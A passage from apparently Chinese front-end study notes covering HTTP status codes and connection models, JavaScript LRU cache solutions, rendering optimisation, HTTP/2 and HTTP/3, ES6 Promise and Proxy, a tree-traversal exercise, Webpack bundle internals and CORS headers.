请求的资源临时从不同 URI 响应请求,由于是临时的,客户端下次应该还是从原有地址请求此资源。只有在 Cache-Control 或 Expires 指定,才可缓存此响应。

304 Not Modified

如果客户端发送的 GET 请求的资源未改变,则返回这个状态码指示客户端使用缓存。该响应禁止包含响应体,因此始终以空行结束。参照 #36 协商缓存。

客户端响应

400 Bad Request

  1. 语义有误,请求无法被服务器理解,除非进行修改,否则客户端不应重复提交这个请求。
  2. 请求参数有误。

401 Unauthorized

当前请求需要用户验证。

403 Forbidden

服务器已理解请求,但拒绝执行。

404 Not Found

请求失败,资源未在服务器上发现。

405 Method Not Allowed

请求行中指定的请求方法不能被用于请求相应的资源。例如有些网页服务器不支持 PUT, DELETE 方法,则会返回 405 错误。

406 Not Acceptable

请求的资源内容特性无法满足请求头中的条件,因而无法生成响应实体。

408 Request Timeout

请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。

服务端响应

500 Internal Server Error

服务器遇到了不知道如何处理的情况。

501 Not Implemented

此请求方法不被服务器支持且无法被处理。只有 GETHEAD 是要求服务器支持的,这两个方法一定不会返回 501 。

502 Bad Gateway

服务器作为网关,需要得到一个处理这个请求的响应,但是得到一个错误的响应。

503 Service Unavailable

服务器没有准备好处理请求。常见原因是服务器因维护或重载而停机。

504 Gateway Timeout

服务器作为网关,不能及时得到响应时返回 504 。

505 HTTP Version Not Supported

服务器不支持请求中所使用的 HTTP 版本。

连接管理

在 HTTP/1.x 里,有多种连接管理模型:

  • 短连接
  • 长连接
  • HTTP 管线化

短连接

在 HTTP/1.0 中的默认模型是短连接,每一个 HTTP 请求都是独立完成的,即每发起一个 HTTP 请求都要建立一次 TCP 连接,导致十分耗时。

在 HTTP/1.0 中如果没有指定 Connection 头,或者值为 close 则会使用短连接。
在 HTTP/1.1 中只有当 Connectionclose 时才会使用短连接。

长连接

由于短连接十分耗时,因此设计出了长连接(在 HTTP/1.1 之前就有的概念)。

长连接在同一个 TCP 连接中可以发出多个 HTTP 请求,解决短连接中频繁建立 TCP 连接的问题。

但长连接也有缺点: 在空闲时候也会消耗服务器资源。

HTTP/1.0 中,把 Connection 设置为 close 以外的值即可使用长连接。
HTTP/1.1 中默认是使用长连接的。

HTTP 管线化

默认情况下, HTTP 请求是按顺序发出的,只有在当前请求收到响应后,才会发出下一个请求。

HTTP 管线化 (HTTP Pipelining)是在同一个长连接中发出连续的请求,不用等待响应。

HTTP 管线化同时依赖于客户端和服务器的支持。遵守 HTTP/1.1 的服务器支持管线化。这并不是意味着服务器需要提供管线化的回复,而只是要求在收到管线化的请求时候不会失败。

参考

实现 LRU 缓存机制

题目

LeetCode 146

思路

本题主要是要解决 put 时如果容量满了,要删除最少使用的缓存 这个问题,因此只要在 put 的时候能知道最少使用的缓存是哪个就行。

解1

使用哈希 Map + 双向链表

/**
 * @param {number} capacity
 */
var LRUCache = function(capacity) {
  this.capacity = capacity
  this.map = new Map()
  // 指向排名开头的指针
  this.pStart = null
  // 指向排名结尾的指针
  this.pEnd = null
};

/** 
 * @param {number} key
 * @return {number}
 */
LRUCache.prototype.get = function(key) {
  const result = this.map.get(key)
  // 找不到则返回 -1
  if (!result) return -1
  // 如果 get 的是末尾,则不操作
  if (this.pEnd !== result) {
    if (result.prev) {
      // 如果 get 的不是开头
      // 上一个链表元素的 next 指向 get 的 next
      result.prev.next = result.next
      // 下一个链表元素的 prev 指向 get 的 prev
      result.next.prev = result.prev
    } else {
      // 如果 get 的是开头,则重新赋值 pStart
      this.pStart = result.next
      this.pStart.prev = null
    }
    // get 的元素放到链表末尾
    result.next = null
    this.pEnd.next = result
    result.prev = this.pEnd
    this.pEnd = result
  }
  return result.value
};

/** 
 * @param {number} key 
 * @param {number} value
 * @return {void}
 */
LRUCache.prototype.put = function(key, value) {
  if (!this.map.has(key)) {
    if (this.map.size === this.capacity) {
      // 容量达到上限,先删除最近最少使用的缓存,直接把 pStart 指向的链表元素删除
      this.map.delete(this.pStart.key)
      this.pStart = this.pStart.next
      if (this.pStart) {
        this.pStart.prev = null
      }
    }
    // put 操作插入的 rank 一定是最高的,因此 next 指向空
    const element = {
      key,
      value,
      prev: this.pEnd,
      next: null,
    }
    if (this.map.size === 0) {
      this.pStart = element
    } else {
      this.pEnd.next = element
    }
    this.pEnd = element
    this.map.set(key, element)
  } else {
    this.map.get(key).value = value
    this.get(key)
  }
};

/**
 * Your LRUCache object will be instantiated and called as such:
 * var obj = new LRUCache(capacity)
 * var param_1 = obj.get(key)
 * obj.put(key,value)
 */

解2

利用 JavaScript Map 中的 keys() 等遍历方法的遍历顺序是插入顺序这个特性,每次 get 时,如果存在 key ,则先在 Map 里删除这个 key ,再插入这个 key ,插入的 key 就是迭代器遍历的最后一个元素。

put 时,通过 map.keys().next() 即可获取第一个插入的元素

/**
 * @param {number} capacity
 */
var LRUCache = function(capacity) {
  this.capacity = capacity
  this.map = new Map()
};

/** 
 * @param {number} key
 * @return {number}
 */
LRUCache.prototype.get = function(key) {
  const result = this.map.get(key)
  // 找不到则返回 -1
  if (!result) return -1
  this.map.delete(key)
  this.map.set(key, result)
  return result
};

/** 
 * @param {number} key 
 * @param {number} value
 * @return {void}
 */
LRUCache.prototype.put = function(key, value) {
  if (!this.map.has(key)) {
    if (this.map.size === this.capacity) {
      this.map.delete(this.map.keys().next().value)
    }
    this.map.set(key, value)
  } else {
    this.map.delete(key)
    this.map.set(key, value)
  }
};

/**
 * Your LRUCache object will be instantiated and called as such:
 * var obj = new LRUCache(capacity)
 * var param_1 = obj.get(key)
 * obj.put(key,value)
 */

浏览器渲染阶段优化

背景

为了尽快让用户看到渲染的页面,我们有哪些可以做的呢?

网络方面

浏览器解析 HTML 过程中,遇到 link 标签跟外部 script ,会再发起网络请求,因此在网络方面,如果将 CSS 写成内联,即可减少请求次数,只需一次请求。这在大的项目不太现实,但在简单页面上还是可以应用的。

在 CSS 中使用 @import 也会再发起请求,因此, CSS 减少 @import 的使用也可以减少网络请求次数。

CSS 方面的优化

默认情况下, CSS 是阻塞渲染的,而渲染是需要 DOMCSSOM 结合构建渲染树才能进行,因此 CSS 需要尽快下载并解析,以便缩短首次渲染时间。

对于非首屏必须的 CSS 外部文件,可以使用 媒体查询 来使其不阻塞渲染,即 link 标签的 media 。注意,这里指的是不阻塞渲染,媒体查询的 CSS 最终还是会被下载的,相当于降低了其优先级。

还有一点优化就是写 CSS 选择器时的优化,这点网上应该都有,例如 div.test 不比 .test 快之类的。

JavaScript 方面的优化

浏览器遇到 script 标签,会阻塞渲染,停下来执行 JS ,因此将 script 放到 body 标签末尾。

对于非必须立刻执行的外部脚本,可以添加 async 防止阻塞。

这边复习一下 script 标签中 asyncdefer 的区别:

defer:

  • 我不阻塞页面渲染,遇到 script 没关系,页面继续渲染,我慢慢下载
  • 在 DOM 准备好了,且在 DOMContentLoaded 事件之前,我就得执行了
  • 我跟其他脚本是有顺序关系的,排在前面的 script 标签先执行,一个一个来

async:

  • 我不阻塞页面,我先下载着
  • 我跟 DOMContentLoaded 谁也不等谁,谁先好了执行谁
  • 我跟其他脚本也井水不犯河水,不保证排在哪个顺序去执行

在 JavaScript 操作 DOM 的方面,尽量减少对 DOM 的大量操作,对 DOM 节点的增删改查;且尽量减少会造成浏览器重排的操作,比如改变尺寸、位置、修改 display 等。

图片资源

  • 图片懒加载
  • 使用雪碧图,减少网络请求

参考

HTTP/2 与 HTTP/3

HTTP/1.1 的缺陷

队头阻塞

虽然长连接可以减少 TCP 握手的次数,但是 HTTP 请求的发送是按顺序的,当前请求没有响应就不会发送下一个请求,这样就会导致队头阻塞,降低页面加载速度。

解决方案:

  1. 将资源分散到不同域名。浏览器对每个域名有 TCP 连接数量限制,对同一个域名,在 Chrome 下最多允许同时建立 6 个 TCP 连接。将资源分散到不同域名,可以提高同时建立 TCP 连接的数量。
  2. 雪碧图。将多个小图片组合成一个图片,减少网络请求。
  3. 使用内联写法。将样式表与脚本以内联的形式写在 HTML 中,减少网络请求。

HTTP 头部信息巨大

由于无状态的特性,每次发送的 HTTP 请求都要带上一个巨大的头部,即使请求体或者响应体的内容非常少。

明文传输

HTTP/1.1 传输内容使用的是明文,会带来安全性隐患。

HTTP/2 新特性

HTTP/2 基于 Google 开发的 SPDY 协议,目的是提高性能。

二进制传输

HTTP/2 采用二进制格式传输数据,相比于 HTTP/1.1 使用纯文本形式的报文,二进制协议解析更高效。 HTTP/2 将请求数据与响应数据分割为更小的帧,多个帧可以乱序发送,根据帧首部的流标识重新组装。

Header 压缩

  • HTTP/2 使用专门开发的 HPACK 算法,在客户端和服务器两端建立字典,用索引号表示重复的字符串,采用哈夫曼编码来压缩整数和字符串
  • 客户端与服务端共同维护一个“首部表”来跟踪头部信息的更新,相同的数据不必在每个请求中都发送
  • 首部表在 HTTP/2 连接存续期间始终存在,由客户端与服务端共同渐进更新
  • 每个新的首部键值对要么追加在当前表的末尾,要么替换原有的值

多路复用

HTTP/2 实现多路复用,同一个域名可以只占用一个 TCP 连接,可以在一个 TCP 连接里传输所有的数据。

主动推送

在 HTTP/1.1 中,服务端只能被动响应请求,请求由客户端发起。

在 HTTP/2 中,服务端可以主动推送资源到客户端,例如,在浏览器请求 HTML 文件时,把相应的脚本、 CSS 也推送到浏览器,而不必等待浏览器解析 HTML 的时候再发送。

客户端也可选择是否接收服务端的主动推送。

主动推送也遵守同源策略,服务端不能随便将第三方资源推送给客户端,而需要经过双方确认。

安全性

HTTP/2 实际上兼容 HTTP/1.1 的明文传输,不强制加密,但 HTTPS 是趋势,互联网上见到的 HTTP/2 都是使用的 HTTPS ,所以 HTTP/2 在事实上是加密的。

HTTP/2 缺点

建立 TCP 协议的时延

HTTP/2 也是基于 TCP 的,意味着无法避免 TCP 握手的过程。

另外,如果使用 HTTPS ,则还要加上 TLS 的握手过程。

TCP 队头阻塞

虽然减少了 TCP 的连接数量,但是没有解决 TCP 队头阻塞的问题。

TCP 有丢包重传的机制,当出现丢包时,整个 TCP 连接都要等待重传,在这种情况下, HTTP/2 的延迟可能还高于有多个 TCP 连接的 HTTP/1.1 。

HTTP/3 新特性

要避免 TCP 队头阻塞的问题,只能不用 TCP 。

Google 开发了基于 UDP 的 QUIC 协议

QUIC 协议特点:

  • 实现了类似TCP的流量控制、传输可靠性的功能。
  • 实现了快速握手功能。
  • 集成了TLS加密功能。
  • 多路复用,彻底解决TCP中队头阻塞的问题。

参考

ES6 Promise

概念

异步编程的一种解决方案,最早由社区提出并实现, ES6 写进语言标准。

规范

Promises/A+

实现

见仓库 promise-implementation

主要难点在于 resolve 的如果是个 Promise ,要等这个 Promise 有结果后再处理当前 Promise ,即是一个递归的过程,获取到最后有结果的 Promise 。在规范上,就是 the Promise Resolution Procedure 这个过程。

另一个难点就是 then 方法的实现,这是 Promise 实现的核心之一,其他方法都是基于构造函数与 then 方法的扩展。

扩展

对于 Promise.all, Promise.allSettledPromise.race 这类传入多个 Promise 的方法,限制其同时进行的 Promise 并发数:

见仓库 batch-promise

总结起来就是 计数+递归

参考

ES6 Proxy

概念

用于修改某些操作的默认行为,等同于在语言层面做出修改。相当于在目标对象之前架设一层“拦截”,外部对对象的操作,必须通过这层拦截,可对操作进行过滤和改写。

const proxyObject = new Proxy({}, {
  get (target, key, receiver) {
    // target: 目标对象
    // key: 当前获取的键
    // receiver: 当前 Proxy 对象
    console.log('getting ', key)
    return Reflect.get(target, key, receiver)
  },
  set (target, key, value, receiver) {
    // value 当前设置的值
    console.log('setting ', key)
    return Reflect.set(target, key, value, receiver)
  },
})

proxyObject.a = 1 // setting a

proxyObject.a++
// getting a
// setting a
// 1

Proxy 的 13 种拦截操作

  • get? (target: T, p: PropertyKey, receiver: any): any 拦截属性的读取
  • set? (target: T, p: PropertyKey, value: any, receiver: any): boolean 拦截属性的设置
  • has? (target: T, p: PropertyKey): boolean 拦截 propertyKey in proxy 操作
  • deleteProperty? (target: T, p: PropertyKey): boolean 拦截删除属性操作
  • ownKeys? (target: T): PropertyKey[] 拦截 Object.getOwnPropertyNames(proxy), Object.getOwnPropertySymbols(proxy), Object.keys(proxy), for...in
  • getOwnPropertyDescriptor? (target: T, p: PropertyKey): PropertyDescriptor | undefined 拦截 Object.getOwnPropertyDescriptor(proxy, propertyKey)
  • defineProperty? (target: T, p: PropertyKey, attributes: PropertyDescriptor): boolean 拦截 Object.defineProperty(proxy, propertyKey, propertyDescriptor), Object.defineProperties(proxy, propertyDescriptors)
  • preventExtensions? (target: T): boolean 拦截 Object.preventExtensions(proxy)
  • getPrototypeOf? (target: T): object | null 拦截 Object.getPrototypeOf(proxy)
  • setPrototypeOf? (target: T, v: any): boolean 拦截 Object.setPrototypeOf(proxy, proto)
  • isExtensible? (target: T): boolean 拦截 Object.isExtensible(proxy)
  • apply? (target: T, thisArg: any, argArray?: any): any 拦截 Proxy 实例作为函数调用的操作
  • construct? (target: T, argArray: any, newTarget?: any): object 拦截 Proxy 实例作为构造函数调用的操作

具体参数说明与用法,可参考各类文档,例如 MDN , typescript 定义,http://es6.ruanyifeng.com/#docs/proxy 等。

Proxy.revocable()

定义:

revocable<T extends object>(target: T, handler: ProxyHandler<T>): { proxy: T; revoke: () => void; }

返回一个可取消的 Proxy 实例

const { proxy, revoke } = Proxy.revocable({}, {})

proxy.a = 1
proxy.a // 1

revoke()

proxy.a // TypeError: Cannot perform 'get' on a proxy that has been revoked

可应用于不允许直接访问对象,必须通过代理访问,访问结束后就收回代理,不能再次访问的场景。

this

Proxy 中的 this 指向的是 proxy ,而不是原对象,因此,即使 handler 是空的,什么也不拦截,其 proxy 的表现与原对象也不是完全一致的。

const target = {
  f () {
    return this
  }
}

const proxy = new Proxy(target, {})

target.f() === target // true
proxy.f() === target // false
proxy.f() === proxy // true

此外,一些原生对象的内部属性,只有通过正确的 this 才能拿到,例如 Date

const target = new Date()
const proxy = new Proxy(target, {})

proxy.getDate() // TypeError: this is not a Date object

如果把 this 绑定回原来的对象,就可以正常使用:

const target = new Date()
const proxy = new Proxy(target, {
  get (target, key) {
    if (key === 'getDate') {
      // 判断是否调用的 getDate 方法
      return target.getDate.bind(target)
    }
    return Reflect.get(target, key)
  }
})

proxy.getDate() // 正常显示日期

参考

http://es6.ruanyifeng.com/#docs/proxy

二叉树的层次遍历 II

问题

LeetCode

给定一个二叉树,返回其节点值自底向上的层次遍历。 (即按从叶子节点所在层到根节点所在的层,逐层从左向右遍历)
例如:
给定二叉树 [3,9,20,null,null,15,7],

    3
   / \
  9  20
    /  \
   15   7

返回其自底向上的层次遍历为:

[
  [15,7],
  [9,20],
  [3]
]

#5 类似

DFS

#5 的基础上稍作修改

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[][]}
 */
var levelOrderBottom = function(root) {
    const result = []
    if (!root) return result
    const stack = [[root, 0]]
    while (stack.length) {
        const info = stack.pop()
        const node = info[0]
        const level = info[1]
        if (node) {
            if (result.length <= level) result.unshift([])
            result[result.length - 1 - level].push(node.val)
            stack.push([node.right, level + 1])
            stack.push([node.left, level + 1])
        }
    }
    return result
};

Webpack 打包结果分析

如何分析 Webpack 打包

准确地说,本文是分析 Webpack 打包的结果,目的是看看 Webpack 如何将每个模块(文件)组合起来,在浏览器中是如何执行的打包代码,包括如何加装异步的块。

因此,只要写个简单的项目,分析其打包出来的代码即可。

准备一个精简的项目

按照 Webpack 官方 getting started 教程初始化一个项目,然后写入以下文件:

src/index.js:

// 同步引入
import syncHello from './sync-hello'

document.querySelector('#text').innerText += `${syncHello}\n`

// 异步引入
import(/* webpackChunkName: "async" */ './async-hello').then(({ default: asyncHello }) => {
  document.querySelector('#text').innerText += `${asyncHello}\n`
})

src/sync-hello.js:

import generateHello from './sync-util'

export default generateHello('sync code')

src/sync-util.js:

const generateHello = (source) => {
  return `Hello from ${source}`
}

export default generateHello

src/async-hello.js:

import generateHello from './sync-util'

export default generateHello('async code')

就这么简单的四个文件。

分析模块依赖关系

显然,每个文件作为一个模块的话,四个文件有以下关系:

     index.js(入口)
        /            \
sync-hello     async-hello
      /              /
      |             /
      sync-util

执行打包

package.json 中添加脚本:

webpack --mode development --config webpack.config.js

mode 记得设置为 development ,否则打包出来的代码会是压缩混淆过的,难以分析。

webpack.config.js 中,把 sourceMap 改一下:

module.exports = {
  devtool: 'inline-source-map'
}

这是防止 Webpack 使用 eval 来打包模块,也是为了方便分析模块的代码。

最后打包出来有两个文件,一个 main.js ,一个 async.js

image

分析打包结果

打开 dist/main.js 文件,可以看到内容充满了各种注释,四个加起来不到 20 行的代码,一个入口就有 200 多行,不过这些都是实现模块化的必要代码,让我们慢慢来分析。

整体结构

首先,从整体来看,可以发现整个 main.js 外层是一个自执行函数的结构:

(function (modules) {
  // webpack bootstrap
})({
  // modules
})

main.js 文件被加载到浏览器后,就会执行这个函数,这个函数也就相当于是 Webpack 的引导程序。

函数的参数 modules 显然是我们书写的各个模块,在后面以一个对象的形式传入,接着来看看我们写的模块被转换成什么样子

模块参数 modules

转到传入的参数 modules ,发现是个对象:

{
  "./src/index.js": (function (module, __webpack_exports__, __webpack_require__) {
    // 模块内容
  })
  "./src/sync-hello.js": (function (module, __webpack_exports__, __webpack_require__) {
    // 模块内容
  })
  "./src/sync-util.js": (function (module, __webpack_exports__, __webpack_require__) {
    // 模块内容
  })
}

可以看到一共是三个模块,都是同步加载的模块,异步的模块不在 main.js 里面。

我们从 "./src/sync-hello.js" 这个模块入手,因为它既有 import 也有 export

{
  "./src/sync-hello.js": (function(module, __webpack_exports__, __webpack_require__) {
    // 模块默认是严格模式
    "use strict";
    // 在 exports 中加上 __esModule 属性,表示是 ES 模块
    __webpack_require__.r(__webpack_exports__);
    // 导入 sync-util 模块
    var _sync_util__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("./src/sync-util.js");
    // 导出此模块
    __webpack_exports__["default"] = (Object(_sync_util__WEBPACK_IMPORTED_MODULE_0__["default"])('sync code'));
  })
}

可以看到,我们在文件中写的 ES6 importexport 都没了,变成了使用 __webpack_require__, __webpack_exports__ 这两个参数,个人觉得,因为所有的同步模块都被打包到了同一个文件中,所以就不能再用 ES6 的模块导入导出方法,需要 Webpack 内部自己实现从同一个文件中引入不同的模块。

其导入导出的风格类似 CommonJS

导入类似 require 函数,不过参数并不是路径,而是一个 id ,就是 modules 参数对象的 key 值

导出则是在 __webpack_exports__ 上挂上导出的内容,类似 exports 对象。这里导出了一个 default 属性。

其他的模块也是类似的,修改了 importexport

引导函数

看完参数,就该看看函数本体了

从上述模块的改写可以知道,重点在于如何导入导出模块,因此我们重点看看 __webpack_require__ 这个函数

(function (modules) {
  // 模块缓存
  var installedModules = {}
  // The require function
  function __webpack_require__(moduleId) {

    // 检查是否在缓存中,如果是,则表示模块执行过了,直接返回缓存的结果
    if(installedModules[moduleId]) {
      return installedModules[moduleId].exports;
    }
    // 创建新模块并缓存
    var module = installedModules[moduleId] = {
      i: moduleId,
      l: false,
      exports: {}
    };

    // 执行模块函数
    modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);

    // 标识模块已经加载过了
    module.l = true;

    // 返回模块的导出(exports)
    return module.exports;
  }
  // ...定义了一堆东西
  // Load entry module and return exports
  return __webpack_require__(__webpack_require__.s = "./src/index.js");
})({
  // modules
})

__webpack_require__ 中,可以看到,每个模块其实是一个对象 module ,其属性 exports 就是模块的导出, __webpack_require__ 的功能其实就是,根据 moduleId 在缓存中查找对应模块执行的结果,如果没有找到,则执行 modules 参数中对应 moduleId 的函数,把 module.exports 作为 __webpack_exports__ 参数传入,函数内部对 __webpack_exports__ 的修改,就是对 module.exports 的修改。 __webpack_require__ 最终返回的是 moduleId 对应模块的导出,也就是 module.exports

定义好 __webpack_require__ 后,引导函数最后执行了导入入口模块 ./src/index.js ,至此,一个 Webpack 应用就开始执行了。

异步模块怎么办

可能都知道, Webpack 导入异步模块是用了 jsonp ,那具体是个什么样的过程呢?

我们先看看有用到异步导入的模块,也就是 ./src/index.js ,在代码中是这么写的

import(/* webpackChunkName: "async" */ './async-hello').then(({ default: asyncHello }) => {
  document.querySelector('#text').innerText += `${asyncHello}\n`
})

经过 Webpack 打包,变成了:

__webpack_require__.e(/*! import() | async */ "async").then(__webpack_require__.bind(null, /*! ./async-hello */ "./src/async-hello.js")).then(({ default: asyncHello }) => {
  document.querySelector('#text').innerText += `${asyncHello}\n`
})

也就是说, import() 被转换成了:

__webpack_require__.e(chunkId).then(__webpack_require__.bind(null, moduleId))

那么我们来看看 __webpack_require__.e 是何方神圣

下面我把异步加载 jsonp 相关的代码都揪出来了,这段代码都在顶层的自执行函数,也就是引导函数中:

// 加载代码块的 jsonp 回调
function webpackJsonpCallback (data) {
  var chunkIds = data[0];
  var moreModules = data[1];

  // 把 data 参数数组的第二个元素添加到 modules 对象中(也就是引导函数的 modules 参数)
  // 把 chunkIds 里的元素都标记为已加载(即在 installedChunks 中置为 0 )
  var moduleId, chunkId, i = 0, resolves = [];
  for (; i < chunkIds.length; i++) {
    chunkId = chunkIds[i];
    if (Object.prototype.hasOwnProperty.call(installedChunks, chunkId) && installedChunks[chunkId]) {
      resolves.push(installedChunks[chunkId][0]);
    }
    installedChunks[chunkId] = 0;
  }
  for (moduleId in moreModules) {
    if (Object.prototype.hasOwnProperty.call(moreModules, moduleId)) {
      modules[moduleId] = moreModules[moduleId];
    }
  }
  if (parentJsonpFunction) parentJsonpFunction(data);

  while (resolves.length) {
    resolves.shift()();
  }
};

// 存储已加载或正在加载的块(chunk)
// undefined = chunk 未加载, null = chunk preloaded/prefetched
// Promise = chunk 正在加载, 0 = chunk 已加载
var installedChunks = {
  "main": 0
};

// script path function
function jsonpScriptSrc(chunkId) {
  return __webpack_require__.p + "" + ({"async":"async"}[chunkId]||chunkId) + ".js"
}

// 由于 main.js 只包含入口的块(chunk),因此提供以下函数
// 加载额外(异步)块的函数
__webpack_require__.e = function requireEnsure (chunkId) {
  var promises = [];


  // JSONP chunk loading for javascript

  var installedChunkData = installedChunks[chunkId];
  if (installedChunkData !== 0) { // 0 表示 "已安装".

    // 一个 Promise 表示 "正在加载".
    if (installedChunkData) {
      promises.push(installedChunkData[2]);
    } else {
      // installedChunks[chunkId] === undefined , 表示此 chunk 未加载
      // 因此将 installedChunks[chunkId] 赋值为 Promise 表示正在加载这个 chunk
      var promise = new Promise(function (resolve, reject) {
        installedChunkData = installedChunks[chunkId] = [resolve, reject];
      });
      promises.push(installedChunkData[2] = promise);

      // start chunk loading
      var script = document.createElement('script');
      var onScriptComplete;

      script.charset = 'utf-8';
      script.timeout = 120;
      if (__webpack_require__.nc) {
        script.setAttribute("nonce", __webpack_require__.nc);
      }
      script.src = jsonpScriptSrc(chunkId);

      // create error before stack unwound to get useful stacktrace later
      var error = new Error();
      // script 标签下载、执行完成后的回调
      onScriptComplete = function (event) {
        // avoid mem leaks in IE.
        script.onerror = script.onload = null;
        clearTimeout(timeout);
        var chunk = installedChunks[chunkId];
        if (chunk !== 0) {
          if (chunk) {
            var errorType = event && (event.type === 'load' ? 'missing' : event.type);
            var realSrc = event && event.target && event.target.src;
            error.message = 'Loading chunk ' + chunkId + ' failed.\n(' + errorType + ': ' + realSrc + ')';
            error.name = 'ChunkLoadError';
            error.type = errorType;
            error.request = realSrc;
            chunk[1](error);
          }
          installedChunks[chunkId] = undefined;
        }
      };
      // 2 分钟超时
      var timeout = setTimeout(function () {
        onScriptComplete({ type: 'timeout', target: script });
      }, 120000);
      script.onerror = script.onload = onScriptComplete;
      // 把 script 标签插入 html ,开始下载异步模块
      document.head.appendChild(script);
    }
  }
  return Promise.all(promises);
};

var jsonpArray = window["webpackJsonp"] = window["webpackJsonp"] || [];
var oldJsonpFunction = jsonpArray.push.bind(jsonpArray);
// 重写 push 方法,因此 script 标签下载完成时执行的 jsonp 回调就是 webpackJsonpCallback
jsonpArray.push = webpackJsonpCallback;
jsonpArray = jsonpArray.slice();
for(var i = 0; i < jsonpArray.length; i++) webpackJsonpCallback(jsonpArray[i]);
// parentJsonpFunction 就是数组原来的 push 方法
var parentJsonpFunction = oldJsonpFunction;

直接讲一下遇到异步模块的时候是怎么一个流程吧。

  1. 在加载入口之前,会先定义好 jsonp 回调 webpackJsonpCallback, 异步导入方法 __webpack_require__.e 还有 window["webpackJsonp"] 这个全局的变量,并重写 window["webpackJsonp"].push 方法为 webpackJsonpCallback
  2. 当在文件中导入异步模块,也就是调用了 import() ,由于 Webpack 打包前的转换,会变成调用 __webpack_require__.e
  3. __webpack_require__.e 中,对于没有下载的异步模块,会用 JS 新建 script 标签的方式去下载模块的代码,并创建一个 Promise ,把 Promise 存在一个缓存中
  4. script 标签下载完成后,会自动执行下载的脚本,而在异步的脚本中,代码是这样的:
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["async"], {
  "./src/async-hello.js": (function (module, __webpack_exports__, __webpack_require__) {
    "use strict";
    __webpack_require__.r(__webpack_exports__);
    var _sync_util__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__("./src/sync-util.js");

    __webpack_exports__["default"] = (Object(_sync_util__WEBPACK_IMPORTED_MODULE_0__["default"])('async code'));
  })
}]);

其中会执行 window["webpackJsonp"].push 方法,也就是 webpackJsonpCallback

  1. webpackJsonpCallback 中,会把异步代码中的模块都保存到 modules 参数中,并且 resolve 存在缓存中对应块的 Promise
  2. 异步脚本执行完成后,在 __webpack_require__.e 中定义的 script 标签回调 onScriptComplete 就开始处理后续,如果异步 chunk 没有成功加载,则把缓存里,即 installedChunks[chunkId] 置为 undefined ,表示未加载,下次会重新再去下载这个 chunk 。

根据上述步骤,可以得到一些结论:

  • __webpack_require__.e 负责将异步的代码块(chunk ,里面包含异步模块)通过 script 标签下载下来
  • webpackJsonpCallback jsonp 回调,在异步代码下载完成后,负责把异步模块注册到 modules 里,并 resolve 对应的 Promise

所以, __webpack_require__.e(chunkId) 返回的是一个 Promise ,当它 resolve 的时候,表示异步模块已经被注册到 modules 中,可以 require 了

因此 __webpack_require__.e(chunkId) 后, Webpack 内部还要再执行一个 then

__webpack_require__.e(chunkId).then(__webpack_require__.bind(null, moduleId))

相当于:

__webpack_require__.e(chunkId).then(() => {
  return __webpack_require__(moduleId)
})

最终返回一个新的 Promise , resolve 的值就是 __webpack_require__(moduleId) ,这样,下一个 then 就能接收到异步模块导出的值了。(关于在 then 里面 return 一个值会如何处理,参照 #26

跑起来看看?

dist 文件夹下新建一个 index.html ,引入打包后的 main.js

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <div id="text"></div>
  <script src="./main.js"></script>
</body>
</html>

直接用浏览器打开这个文件,可以看到正确的结果

image

在开发者工具的 Network 面板中,可以看到请求了三个文件: index.html, main.js, async.js

在 Elements 面板中,展开 head 标签,可以看到多了个 src 为 async.jsscript 标签

image

一切正常。

跨域

为什么会有跨域问题

为什么会有跨域?因为浏览器有个 同源策略

同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。

简单来说,同源策略限制了不同源之间资源的访问。假设你部署了一个应用 A ,别人在另一个域名上部署了应用 B ,那么,在同源策略的限制下,应用 B 就没法直接通过 ajax 请求应用 A 的东西。

同源的定义

如果两个页面的协议,端口(如果有指定)和主机都相同,则两个页面具有相同的源。

例如,对于 http://www.aaa.com 来说:

http://www.aaa.com/bbb   // 同源,只有路径不同
https://www.aaa.com   // 不同源,协议不同
http://mail.aaa.com   // 不同源,域名不同
http://www.aaa.com:8080   // 不同源,端口不同

同源策略的限制

同源策略会限制以下情况的跨域访问:

  • XMLHttpRequestfetch 发起的 HTTP 请求
  • Web 字体(CSS 中使用 @font-face 使用跨域字体资源)
  • WebGL 贴图
  • 使用 drawImage 将 Images/video 画面绘制到 canvas

如何允许跨域访问

CORS

跨域资源共享(Cross-Origin Resource Sharing)是一种机制,通过使用额外的 HTTP 头来确认是否可以进行跨域访问

简单请求

当请求满足一定的条件时,不会触发 CORS 预检请求 (即在请求之前再发送一个 OPTIONS 请求),这类请求称为 “简单请求”

满足以下所有条件即可视为 “简单请求” :

  1. 使用以下方法之一: GET, POST, HEAD
  2. HTTP 头信息不超出以下字段:
  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type:仅限于 text/plain, multipart/form-data, application/x-www-form-urlencoded 三个值之一
  • DPR
  • Downlink
  • Save-Data
  • Viewport-Width
  • Width

预检请求

预检请求要求首先使用 OPTIONS 方法发起一个预检请求道服务器,以获知服务器是否允许该实际请求,可避免跨域请求对服务器的用户数据产生未知的影响。

当请求满足一下任一条件时,应先发送预检请求:

  1. 使用了 PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH 中的任一方法
  2. 人为设置了 简单请求 头部字段之外其他字段

HTTP 响应头字段

Access-Control-Allow-Origin

语法:

Access-Control-Allow-Origin: <origin> | *

可以指定为通配符 * 表示允许所有来源的跨域访问

或者指定一个特定的域名

Access-Control-Expose-Headers

跨域访问时, XMLHttpRequest 对象的 getResponseHeader() 方法只能拿到一些最基本的响应头,如果需要拿到其他的响应头,需要在服务器端设置响应头的 Access-Control-Expose-Headers 字段,相当于一个白名单,如:

Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header

这样, getResponseHeader() 即可访问到 X-My-Custom-Header, X-Another-Custom-Header 响应头了。

Access-Control-Max-Age

这个响应头表示 预检请求 的结果能被缓存多久

语法:

Access-Control-Max-Age: <delta-seconds>

delta-seconds 表示缓存的秒数

Access-Control-Allow-Credentials

